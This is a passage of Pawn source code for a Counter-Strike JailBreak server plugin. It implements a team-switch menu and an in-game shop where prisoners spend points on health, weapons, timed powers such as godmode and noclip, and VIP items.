  1363. new szName[32], szTempid[10]
  1364.  
  1365. get_players(players, pnum)
  1366.  
  1367. for(new i; i<pnum; i++)
  1368. {
  1369. tempid = players[i]
  1370.  
  1371. if(cs_get_user_team(tempid) != CS_TEAM_T)
  1372. continue
  1373.  
  1374. get_user_name(tempid, szName, 31)
  1375. num_to_str(tempid, szTempid, 9)
  1376. menu_additem(getmenu, szName, szTempid)
  1377. }
  1378. menu_display(id, getmenu)
  1379. } else
  1380. ColorChat(id, "Prisinors can't switch with Guards. Only Guards can switch with prisonors")
  1381. }
  1382.  
  1383. public ActionGet(id, getmenu, item)
  1384. {
  1385. if(item == MENU_EXIT)
  1386. return
  1387. new data[6], iName[64]
  1388. new _access, callback
  1389. menu_item_getinfo(getmenu, item, _access, data,5, iName, 63, callback)
  1390.  
  1391. new tempid = str_to_num(data)
  1392. new szName[32], szName2[32]
  1393. get_user_name(id, szName, 31)
  1394. get_user_name(tempid, szName2, 31)
  1395. ColorChat(0, "^4%s ^3switch CT with ^4%s", szName, szName2)
  1396. cs_set_user_team(tempid, CS_TEAM_CT)
  1397. cs_set_user_team(id, CS_TEAM_T)
  1398. if(is_user_alive(id)) {
  1399. user_kill(id)
  1400. ExecuteHamB(Ham_CS_RoundRespawn, tempid)
  1401. }
  1402. }
  1403.  
  1404. public ActionShopMenu(id)
  1405. {
  1406. if(is_user_connected(id)) {
  1407. if(cs_get_user_team(id) == CS_TEAM_T)
  1408. {
  1409. new szShop[200]
  1410.  
  1411. formatex(szShop, charsmax(szShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yNote\w - The maximum cash is 1000000. New price!^nYour Cash - %d \r%s", playerpoints[id], _status)
  1412. new shopmenu = menu_create(szShop, "sub_ActionShopMenu")
  1413.  
  1414. menu_additem(shopmenu, "\yHealths Menu", "1")
  1415. menu_additem(shopmenu, "\yWeapons Menu", "2")
  1416. menu_additem(shopmenu, "\yPowers Menu", "3")
  1417. menu_additem(shopmenu, "\yVIP Menu", "4")
  1418. menu_additem(shopmenu, "\yKnifes Power Menu", "5")
  1419. menu_additem(shopmenu, "\yOther Menu", "6")
  1420. menu_additem(shopmenu, "\rOffer Menu", "7")
  1421. menu_additem(shopmenu, "\rPlayers Cash", "8")
  1422. menu_additem(shopmenu, "Help^n", "9")
  1423. menu_additem(shopmenu, "\yExit Shop", "0")
  1424.  
  1425. menu_setprop(shopmenu, MPROP_NUMBER_COLOR, "\w")
  1426. menu_setprop(shopmenu, MPROP_PERPAGE, 0)
  1427. menu_display(id, shopmenu)
  1428. } else
  1429. ColorChat(id, "Only ^3Terrorist^4 can open the Shop. your cash: ^3%d ^4%s", playerpoints[id], _status)
  1430. }
  1431. return PLUGIN_HANDLED
  1432. }
  1433. public sub_ActionShopMenu(id, shopmenu, item)
  1434. {
  1435. new shopname[33]
  1436. get_user_name(id, shopname, 31)
  1437. new Data[7], Name[64], Access, Callback
  1438. menu_item_getinfo(shopmenu, item, Access, Data,5, Name, 63, Callback)
  1439.  
  1440. new Key = str_to_num(Data)
  1441.  
  1442. switch(Key)
  1443. {
  1444. case 1:
  1445. {
  1446. new szHShop[200]
  1447.  
  1448. formatex(szHShop, charsmax(szHShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yHealth Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1449. new shophmenu = menu_create(szHShop, "sub_ActionHealthMenu")
  1450.  
  1451. menu_additem(shophmenu, "\y10 Health \r[\w 500 \r]", "1")
  1452. menu_additem(shophmenu, "\y20 Health \r[\w 900 \r]", "2")
  1453. menu_additem(shophmenu, "\y30 Health \r[\w 1300 \r]", "3")
  1454. menu_additem(shophmenu, "\y40 Health \r[\w 1700 \r]", "4")
  1455. menu_additem(shophmenu, "\y50 Health \r[\w 2000 \r]", "5")
  1456.  
  1457. menu_setprop(shophmenu, MPROP_EXITNAME, "\yExit Shop")
  1458. menu_setprop(shophmenu, MPROP_NUMBER_COLOR, "\w")
  1459. menu_display(id, shophmenu)
  1460. }
  1461. case 2:
  1462. {
  1463. new szWShop[200]
  1464.  
  1465. formatex(szWShop, charsmax(szWShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yWeapons Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1466. new shopwmenu = menu_create(szWShop, "sub_ActionWeaponsMenu")
  1467.  
  1468. menu_additem(shopwmenu, "\yGlock\d 3 Bullets \r[\w 1500 \r]", "1")
  1469. menu_additem(shopwmenu, "\yUsp\d 3 Bullets \r[\w 2000 \r]", "2")
  1470. menu_additem(shopwmenu, "\yDeagle\d 2 Bullets \r[\w 2500 \r]", "3")
  1471. menu_additem(shopwmenu, "\yAwp\d 1 Bullets \r[\w 3500 \r]", "4")
  1472.  
  1473. menu_setprop(shopwmenu, MPROP_EXITNAME, "\yExit Shop")
  1474. menu_setprop(shopwmenu, MPROP_NUMBER_COLOR, "\w")
  1475. menu_display(id, shopwmenu)
  1476. }
  1477. case 3:
  1478. {
  1479. new szPShop[200]
  1480.  
  1481. formatex(szPShop, charsmax(szPShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPower Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1482. new shoppmenu = menu_create(szPShop, "sub_ActionPowerMenu")
  1483.  
  1484. menu_additem(shoppmenu, "\yCamouflage\d - 30 Seconds \r[\w 2000 \r]", "1")
  1485. menu_additem(shoppmenu, "\ySpeed\d - 20 Seconds \r[\w 1500 \r]", "2")
  1486. menu_additem(shoppmenu, "\yGravity\d - 20 Seconds \r[\w 1500 \r]", "3")
  1487. menu_additem(shoppmenu, "\yStealth\d - 5 Seconds \r[\w 1500 \r]", "4")
  1488. menu_additem(shoppmenu, "\yGodmode\d - 10 Seconds \r[\w 4000 \r]", "5")
  1489. menu_additem(shoppmenu, "\yNoclip\d - 10 Seconds \r[\w 4500 \r]", "6")
  1490.  
  1491. menu_setprop(shoppmenu, MPROP_EXITNAME, "\yExit Shop")
  1492. menu_setprop(shoppmenu, MPROP_NUMBER_COLOR, "\w")
  1493. menu_display(id, shoppmenu)
  1494. }
  1495. case 4:
  1496. {
  1497. new szVShop[200]
  1498.  
  1499. formatex(szVShop, charsmax(szVShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yVIP Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1500. new shopvmenu = menu_create(szVShop, "sub_ActionVIPMenu")
  1501.  
  1502. menu_additem(shopvmenu, "\yDeagle\d - 2 Bullet \r[\w 2000 \r]", "1")
  1503. menu_additem(shopvmenu, "\yAwp\d - 1 Bullet \r[\w 2500 \r]", "2")
  1504. menu_additem(shopvmenu, "\yGodmode\d - 10 Seconds \r[\w 3500 \r]", "3")
  1505. menu_additem(shopvmenu, "\yCamouflage\d - 30 Seconds \r[\w 1500\r]", "4")
  1506. menu_additem(shopvmenu, "\yStealth\d - 5 Seconds \r[\w 1500 \r]", "5")
  1507. menu_additem(shopvmenu, "\yVoice\d - 1 Round \r[\w 2000 \r]", "6")
  1508.  
  1509. menu_setprop(shopvmenu, MPROP_EXITNAME, "\yExit Shop")
  1510. menu_setprop(shopvmenu, MPROP_NUMBER_COLOR, "\w")
  1511. menu_display(id, shopvmenu)
  1512. }
  1513. case 5:
  1514. {
  1515. new szKShop[200]
  1516.  
  1517. formatex(szKShop, charsmax(szKShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yKnife Power Menu^nYour Cash - %d \r%s^n\rOnce Round", playerpoints[id], _status)
  1518. new shopkmenu = menu_create(szKShop, "sub_ActionKnifeMenu")
  1519.  
  1520. menu_additem(shopkmenu, "\yCrowBar\d Damage \r[\w 1000 \r]", "1")
  1521. menu_additem(shopkmenu, "\yStun Gun\d Damage \r[\w 1000 \r]", "2")
  1522. menu_additem(shopkmenu, "\yDildo\d Damage \r[\w 1000 \r]", "3")
  1523. menu_additem(shopkmenu, "\ySuper Bunny Hop \r[\w 1000 \r]", "4")
  1524. menu_additem(shopkmenu, "\ySpeed \r[\w 1000 \r]", "5")
  1525. menu_additem(shopkmenu, "\yGravity \r[\w 1000 \r]", "6")
  1526. //menu_additem(shopkmenu, "\yKey To Open (Attack The Door)\r[\w 35 \r]", "7")
  1527.  
  1528. menu_setprop(shopkmenu, MPROP_EXITNAME, "\yExit Shop")
  1529. menu_setprop(shopkmenu, MPROP_NUMBER_COLOR, "\w")
  1530. menu_display(id, shopkmenu)
  1531. }
  1532. case 6:
  1533. {
  1534. new szOShop[200]
  1535.  
  1536. formatex(szOShop, charsmax(szOShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yOther Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1537. new shopomenu = menu_create(szOShop, "sub_ActionOtherMenu")
  1538.  
  1539. menu_additem(shopomenu, "\yChange Team \r[\w 15000 \r]", "1")
  1540. menu_additem(shopomenu, "\yVIP Model\d Once Round \r[\w 500 \r]", "2")
  1541. menu_additem(shopomenu, "\yAdmin Model\d Once Round \r[\w 1000 \r]", "3")
  1542. menu_additem(shopomenu, "\yFreeday\d Once Round \r[\w 3000 \r]", "4")
  1543.  
  1544. menu_setprop(shopomenu, MPROP_EXITNAME, "\yExit Shop")
  1545. menu_setprop(shopomenu, MPROP_NUMBER_COLOR, "\w")
  1546. menu_display(id, shopomenu)
  1547. }
  1548. case 7:
  1549. {
  1550. new szOfferShop[200]
  1551.  
  1552. formatex(szOfferShop, charsmax(szOfferShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yOffer Menu^nYour Cash - %d \r%s", playerpoints[id], _status)
  1553. new shopoffermenu = menu_create(szOfferShop, "sub_ActionOfferMenu")
  1554.  
  1555. menu_additem(shopoffermenu, "\ySmall Pack \r[\w 7500 \r]", "1")
  1556. menu_additem(shopoffermenu, "\yNormall Pack \r[\w 15000 \r]", "2")
  1557. menu_additem(shopoffermenu, "\yBig Pack \r[\w 22500 \r]", "3")
  1558. menu_additem(shopoffermenu, "\rGiant Pack \r[\w 30000 \r]", "4")
  1559.  
  1560. menu_setprop(shopoffermenu, MPROP_EXITNAME, "\yExit Shop")
  1561. menu_setprop(shopoffermenu, MPROP_NUMBER_COLOR, "\w")
  1562. menu_display(id, shopoffermenu)
  1563. }
  1564. case 8: PlayerPointsMenu(id)
  1565. case 9:
  1566. {
  1567. new motd[3500]
  1568. add(motd, 3499, "<html><head><title>JailBreak Shop</title>^n<style type=^"text/css^">^npre { font-family:Verdana,Tahoma; color:#FFB000; }^nbody { background:#000000; margin-left:8px; margin-top:0px; }^n</style></head>^n<body scroll=^"none^">^n<pre>^n^n")
  1569. add(motd, 3499, "<b><center>^nJailBreak Shop [Version: 1.0]^n(Help Motd)^nby BeatTheB-Jail</center></b>^n<hr>^nInfo:^n(For Terrorist)^nKill CT - 300 Cash^nKill CT On HeadShot - 600 Cash^n(For Counter Terrorist)^nSurviving - 500 Cash^n")
  1570. add(motd, 3499, "Suicide - 2^n^nWhat's new (in version 0.6):^nYou get a few cash I received a registered Chat and why^nGrenade Menu: All Grenades option^nVIP Menu: Fixed voice option^nKnife Power: 3 options^n^n")
  1571. add(motd, 3499, "(in version 0.7):^nFixed Godmode option^n^n(in version 0.8):^nAdded SilentWalk (Other Menu)^nNew Scriptings^n^n^nComming Soon:^nMore Options (Weapons / Powers)^nAdd Effects^nMore Sounds^n^nCommands To open The Shop Menu:^nZ - radio1^nX - radio2^nC - radio3^nOn Chat (say and say_team):^nshop , /shop, !shop - open Shop Menu^n")
  1572. add(motd, 3499, "/cash, /cash - Message : My Cash^n^n^nPlease Report on My Skype All Bugs Or have of ideas- barel123133 <hr>^n")
  1573. show_motd(id, motd)
  1574. ActionShopMenu(id)
  1575. }
  1576. case 0: menu_destroy(shopmenu)
  1577. }
  1578. }
  1579.  
  1580. public sub_ActionGrenadesMenu(id, shophmenu, item)
  1581. {
  1582. if(item == MENU_EXIT || !is_user_alive(id))
  1583. {
  1584. ActionShopMenu(id)
  1585. return
  1586. }
  1587. new shopname[33]
  1588. get_user_name(id, shopname, 31)
  1589. new Data[7], Name[64], Access, Callback
  1590. menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
  1591.  
  1592. new Key = str_to_num(Data)
  1593.  
  1594. switch (Key)
  1595. {
  1596. case 1:
  1597. {
  1598. if(playerpoints[id] < 500) {
  1599. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1600. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 500)
  1601. } else {
  1602. fm_give_item(id, "weapon_smokegrenade")
  1603.  
  1604. ColorChat(0, "^4%s ^1Buy ^3^"Smoke Grenade^"", shopname)
  1605. playerpoints[id] -= 500
  1606. }
  1607. }
  1608. case 2:
  1609. {
  1610. if(playerpoints[id] < 1000) {
  1611. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1612. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1000)
  1613. } else {
  1614. fm_give_item(id, "weapon_flashbang")
  1615.  
  1616. ColorChat(0, "^4%s ^1Buy ^3^"Flash Grenade^"", shopname)
  1617. playerpoints[id] -= 1000
  1618. }
  1619. }
  1620. case 3:
  1621. {
  1622. if(playerpoints[id] < 1500) {
  1623. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1624. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1625. } else {
  1626. fm_give_item(id, "weapon_hegrenade")
  1627.  
  1628. ColorChat(0, "^4%s ^1Buy ^3^"HE Grenade^"", shopname)
  1629. playerpoints[id] -= 1500
  1630. }
  1631. }
  1632. case 4:
  1633. {
  1634. if(playerpoints[id] < 20) {
  1635. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1636. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 20)
  1637. } else {
  1638. fm_give_item(id, "weapon_hegrenade")
  1639. fm_give_item(id, "weapon_flashbang")
  1640. fm_give_item(id, "weapon_smokegrenade")
  1641.  
  1642. ColorChat(0, "^4%s ^1Buy ^3^"All Grenades^"", shopname)
  1643. playerpoints[id] -= 2000
  1644. }
  1645. }
  1646. }
  1647. ActionShopMenu(id)
  1648. }
  1649.  
  1650. public sub_ActionHealthMenu(id, shophmenu, item)
  1651. {
  1652. if(item == MENU_EXIT || !is_user_alive(id))
  1653. {
  1654. ActionShopMenu(id)
  1655. return
  1656. }
  1657. new shopname[33]
  1658. get_user_name(id, shopname, 31)
  1659. new Data[7], Name[64], Access, Callback
  1660. menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
  1661.  
  1662. new Key = str_to_num(Data)
  1663.  
  1664. switch (Key)
  1665. {
  1666. case 1:
  1667. {
  1668. if(playerpoints[id] < 500) {
  1669. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1670. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 500)
  1671. } else {
  1672. fm_set_user_health(id, get_user_health(id) + 10)
  1673.  
  1674. ColorChat(0, "^4%s ^1Buy ^3^"10 Health^"", shopname)
  1675. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1676. playerpoints[id] -= 500
  1677. }
  1678. }
  1679. case 2:
  1680. {
  1681. if(playerpoints[id] < 900) {
  1682. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1683. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 900)
  1684. } else {
  1685. fm_set_user_health(id, get_user_health(id) + 20)
  1686.  
  1687. ColorChat(0, "^4%s ^1Buy ^3^"20 Health^"", shopname)
  1688. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1689. playerpoints[id] -= 900
  1690. }
  1691. }
  1692. case 3:
  1693. {
  1694. if(playerpoints[id] < 1300) {
  1695. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1696. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1300)
  1697. } else {
  1698. fm_set_user_health(id, get_user_health(id) + 30)
  1699.  
  1700. ColorChat(0, "^4%s ^1Buy ^3^"30 Health^"", shopname)
  1701. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1702. playerpoints[id] -= 1300
  1703. }
  1704. }
  1705. case 4:
  1706. {
  1707. if(playerpoints[id] < 1700) {
  1708. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1709. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1700)
  1710. } else {
  1711. fm_set_user_health(id, get_user_health(id) + 40)
  1712.  
  1713. ColorChat(0, "^4%s ^1Buy ^3^"40 Health^"", shopname)
  1714. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1715. playerpoints[id] -= 1700
  1716. }
  1717. }
  1718. case 5:
  1719. {
  1720. if(playerpoints[id] < 2000) {
  1721. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1722. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2000)
  1723. } else {
  1724. fm_set_user_health(id, get_user_health(id) + 50)
  1725.  
  1726. ColorChat(0, "^4%s ^1Buy ^3^"50 Health^"", shopname)
  1727. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1728. playerpoints[id] -= 2000
  1729. }
  1730. }
  1731. }
  1732. ActionShopMenu(id)
  1733. }
  1734.  
  1735. public sub_ActionWeaponsMenu(id, shopwmenu, item)
  1736. {
  1737. if(item == MENU_EXIT || !is_user_alive(id))
  1738. {
  1739. ActionShopMenu(id)
  1740. return
  1741. }
  1742. new Data[7], Name[64], Access, Callback
  1743. menu_item_getinfo(shopwmenu, item, Access, Data,5, Name, 63, Callback)
  1744.  
  1745. new Key = str_to_num(Data)
  1746.  
  1747. switch (Key)
  1748. {
  1749. case 1:
  1750. {
  1751. if(playerpoints[id] < 1500) {
  1752. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1753. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1754. } else {
  1755. if(user_has_weapon(id, CSW_GLOCK18))
  1756. return
  1757. fm_give_item(id, "weapon_glock18")
  1758. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_glock18", id), 3)
  1759.  
  1760. ColorChat(id, "^1You ar Buy ^3^"Glock^"")
  1761. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1762. playerpoints[id] -= 1500
  1763. }
  1764. }
  1765. case 2:
  1766. {
  1767. if(playerpoints[id] < 2000) {
  1768. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1769. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2000)
  1770. } else {
  1771. if(user_has_weapon(id, CSW_USP))
  1772. return
  1773. fm_give_item(id, "weapon_usp")
  1774. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_usp", id), 3)
  1775.  
  1776. ColorChat(id, "You ar Buy ^3^"Usp^"")
  1777. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1778. playerpoints[id] -= 2000
  1779. }
  1780. }
  1781. case 3:
  1782. {
  1783. if(playerpoints[id] < 2500) {
  1784. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1785. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2500)
  1786. } else {
  1787. if(user_has_weapon(id, CSW_DEAGLE))
  1788. return
  1789. fm_give_item(id, "weapon_deagle")
  1790. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
  1791.  
  1792. ColorChat(id, "You ar Buy ^3^"Deagle^"")
  1793. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1794. playerpoints[id] -= 2500
  1795. }
  1796. }
  1797. case 4:
  1798. {
  1799. if(playerpoints[id] < 3500) {
  1800. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1801. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 35)
  1802. } else {
  1803. if(user_has_weapon(id, CSW_AWP))
  1804. return
  1805. fm_give_item(id, "weapon_awp")
  1806. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  1807.  
  1808. ColorChat(id, "You ar Buy ^3^"Awp^"")
  1809. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1810. playerpoints[id] -= 3500
  1811. }
  1812. }
  1813. }
  1814. ActionShopMenu(id)
  1815. }
  1816.  
  1817. public sub_ActionPowerMenu(id, shoppmenu, item)
  1818. {
  1819. if(item == MENU_EXIT || !is_user_alive(id))
  1820. {
  1821. ActionShopMenu(id)
  1822. return
  1823. }
  1824. new shopname[33]
  1825. get_user_name(id, shopname, 31)
  1826. new Data[7], Name[64], Access, Callback
  1827. menu_item_getinfo(shoppmenu, item, Access, Data,5, Name, 63, Callback)
  1828.  
  1829. new Key = str_to_num(Data)
  1830.  
  1831. switch (Key)
  1832. {
  1833. case 1:
  1834. {
  1835. if(playerpoints[id] < 2000) {
  1836. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1837. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2000)
  1838. } else {
  1839. cs_set_user_model(id, "Ex-Guard")
  1840. set_task(20.0, "RemoveCam", id)
  1841.  
  1842. ColorChat(0, "^4%s ^1Buy ^3^"Camouflage^" ^1From 20 Seconds", shopname)
  1843. playerpoints[id] -= 2000
  1844. }
  1845. }
  1846. case 2:
  1847. {
  1848. if(playerpoints[id] < 1500) {
  1849. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1850. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1851. } else {
  1852. entity_set_float(id, EV_FL_maxspeed, 400.0)
  1853. set_task(20.0, "RemoveSpeed", id)
  1854.  
  1855. ColorChat(0, "^4%s ^1Buy ^3^"Speed^" ^1From 20 Seconds", shopname)
  1856. playerpoints[id] -= 1500
  1857. }
  1858. }
  1859. case 3:
  1860. {
  1861. if(playerpoints[id] < 1500) {
  1862. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1863. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1864. } else {
  1865. entity_set_float(id, EV_FL_gravity, 500.0 / 800.0)
  1866. set_task(20.0, "RemoveGravity", id)
  1867.  
  1868. ColorChat(0, "^4%s ^1Buy ^3^"Gravity^" ^1From 15 Seconds", shopname)
  1869. playerpoints[id] -= 1500
  1870. }
  1871. }
  1872. case 4:
  1873. {
  1874. if(playerpoints[id] < 1500) {
  1875. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1876. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1877. } else {
  1878. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  1879. set_task(4.0, "RemoveStealth", id)
  1880.  
  1881. ColorChat(0, "^4%s ^1Buy ^3^"Stealth^" ^1From 20 Seconds", shopname)
  1882. playerpoints[id] -= 1500
  1883. }
  1884. }
  1885. case 5:
  1886. {
  1887. if(playerpoints[id] < 4000) {
  1888. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1889. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 4000)
  1890. } else {
  1891. fm_set_user_godmode(id, 1)
  1892. set_task(10.0, "RemoveGodmode", id)
  1893.  
  1894. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 10 Seconds^"", shopname)
  1895. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1896. playerpoints[id] -= 4000
  1897. }
  1898. }
  1899. case 6:
  1900. {
  1901. if(playerpoints[id] < 4500) {
  1902. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1903. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 4500)
  1904. } else {
  1905. fm_set_user_noclip(id, 1)
  1906. set_task(10.0, "RemoveNoclip", id)
  1907.  
  1908. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Noclip 10 Seconds^"", shopname)
  1909. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1910. playerpoints[id] -= 4500
  1911. }
  1912. }
  1913. }
  1914. ActionShopMenu(id)
  1915. }
  1916.  
  1917. public sub_ActionVIPMenu(id, shopvmenu, item)
  1918. {
  1919. if(item == MENU_EXIT || !is_user_alive(id))
  1920. {
  1921. ActionShopMenu(id)
  1922. return
  1923. }
  1924. else if(get_vip[id] || is_user_admin(id))
  1925. {
  1926. new shopname[33]
  1927. get_user_name(id, shopname, 31)
  1928. new Data[7], Name[64], Access, Callback
  1929. menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
  1930.  
  1931. new Key = str_to_num(Data)
  1932.  
  1933. switch (Key)
  1934. {
  1935. case 1:
  1936. {
  1937. if(playerpoints[id] < 2000) {
  1938. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1939. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2000)
  1940. } else {
  1941. if(user_has_weapon(id, CSW_DEAGLE))
  1942. return
  1943. fm_give_item(id, "weapon_deagle")
  1944. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 2)
  1945.  
  1946. ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Deagle 2 Bullet^"")
  1947. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1948. playerpoints[id] -= 2000
  1949. }
  1950. }
  1951. case 2:
  1952. {
  1953. if(playerpoints[id] < 2500) {
  1954. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1955. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 2500)
  1956. } else {
  1957. if(user_has_weapon(id, CSW_AWP))
  1958. return
  1959. fm_give_item(id, "weapon_awp")
  1960. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  1961.  
  1962. ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Awp 1 Bullet^"")
  1963. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1964. playerpoints[id] -= 2500
  1965. }
  1966. }
  1967. case 3:
  1968. {
  1969. if(playerpoints[id] < 3500) {
  1970. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1971. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 3500)
  1972. } else {
  1973. fm_set_user_godmode(id, 1)
  1974. set_task(10.0, "RemoveGodmode", id)
  1975. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 20 Seconds^"", shopname)
  1976. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1977. playerpoints[id] -= 3500
  1978. }
  1979. }
  1980. case 4:
  1981. {
  1982. if(playerpoints[id] < 1500) {
  1983. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1984. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1500)
  1985. } else {
  1986. cs_set_user_model(id, "Ex-Guard")
  1987. set_task(30.0, "RemoveCam", id)
  1988.  
  1989. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Camouflage^" ^1From 30 Seconds", shopname)
  1990. playerpoints[id] -= 1500
  1991. }
  1992. }
